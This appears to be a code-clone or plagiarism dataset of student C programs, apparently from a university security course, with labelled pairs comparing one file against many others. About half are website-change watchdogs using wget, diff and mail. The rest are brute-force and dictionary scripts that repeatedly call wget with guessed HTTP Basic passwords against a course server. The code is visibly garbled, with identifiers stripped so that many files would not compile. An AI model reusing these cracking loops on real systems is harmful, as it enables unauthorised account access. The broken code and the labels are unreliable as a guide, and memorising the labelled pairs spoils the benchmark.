#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> #define OneBillion 1e9 int (){ int i=65,j=65,k=65,count=0,res=1; char arry[3],send[100]; int startTime, stopTime, final; startTime = time(); for(i;i<123;i++){ if(i<91 || i>96){ arry[0]=i; j=65; for(j;j<123;j++){ if(j<91 || j>96){ arry[1]=j; k=65; for(k;k<123;k++){ if(k<91 || k>96){ arry[2]=k; arry[3]='\0'; strcpy(send,"wget --http-user= --http-passwd="); strcat(send,arry); strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/"); count++; if((res=(system(send)) == 0)) { stopTime = time(); final = stopTime-startTime; printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count); exit(1); } } } } } } } printf("\npassword not found\n"); exit(1); }
0
032.c
070.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MAX_SIZE 255 int (int argc, char *argv[]) { FILE *fp; while(1) { system("wget -p http://www.cs.rmit.edu./students"); system("mkdir data"); if((fp=fopen("./data/index.html","r"))==NULL) { system("cp www.cs.rmit.edu./students/index.html ./data"); } else { system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu."); system("cp www.cs.rmit.edu./students/index.html ./data"); } system("mkdir images"); if((fp=fopen("./images/file.txt","r"))==NULL) { system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt"); } else { system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt"); system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu."); system("cp www.cs.rmit.edu./file.txt ./images"); } sleep(86400); } return (EXIT_SUCCESS); }
0
032.c
000.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> public static void main() { int i; char ar[100]; FILE* f; FILE* ; system("wget -O first www.rmit.edu./students"); while(1) { sleep(86400); system("rm -f thed"); system("rm -f new"); system("wget -O new www.cs.rmit.edu./students"); system("diff new first >thed"); f=fopen("thed","r"); if(fgets(ar,100,f)!=NULL) { printf("\n\n The has CHANGEDS"); system("mail @cs.rmit.edu. <thed"); system("cp new first"); fclose(f); } else { fclose(f); printf("\n\nthe has not changed "); } } }
0
032.c
023.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { FILE *fh,*fp,*fp1,*d; char [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100]; sleep(60*60*24); system("wget http://www.cs.rmit.edu./students"); if(system==0) { printf("File stored"); } strcpy(filename,"index.html"); if((fh=fopen(filename,"r"))==NULL) { printf("cannot open file\n"); exit(1); } fp=fopen("index.txt","r"); fp1=fopen("index1.txt","r"); while((fgets(PassString,sizeof(PassString),fh))!= NULL) { fread(p,sizeof(PassString),sizeof(PassString),fh); printf(" contents %s\n",p); while((f1!=EOF) || (f2!=EOF)) { f1=getc(fp); f2=getc(fp1); if(f1<f2) { strcpy(,p); fp=fopen("index.txt","r+b"); fputs(,fp); fflush(fp); fclose(fp); } else { strcpy(temp1,p); fp1=fopen("index1.txt","r+b"); fputs(temp1,fp1); fflush(fp1); fclose(fp1); } } if(system("diff -b -w index.txt index1.txt > Diff.txt")==0) { d=fopen("Diff.txt","r"); if((fgets(,sizeof(),d))!=NULL) { printf("The difference between exist"); system("Mail \r\n Difference"); } } } return 0; }
0
032.c
076.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
0
032.c
053.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
0
032.c
045.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
032.c
031.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
0
032.c
059.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
032.c
043.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
1
032.c
014.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
032.c
050.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
032.c
016.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
032.c
007.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
1
032.c
054.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
032.c
021.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
032.c
030.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
032.c
044.c
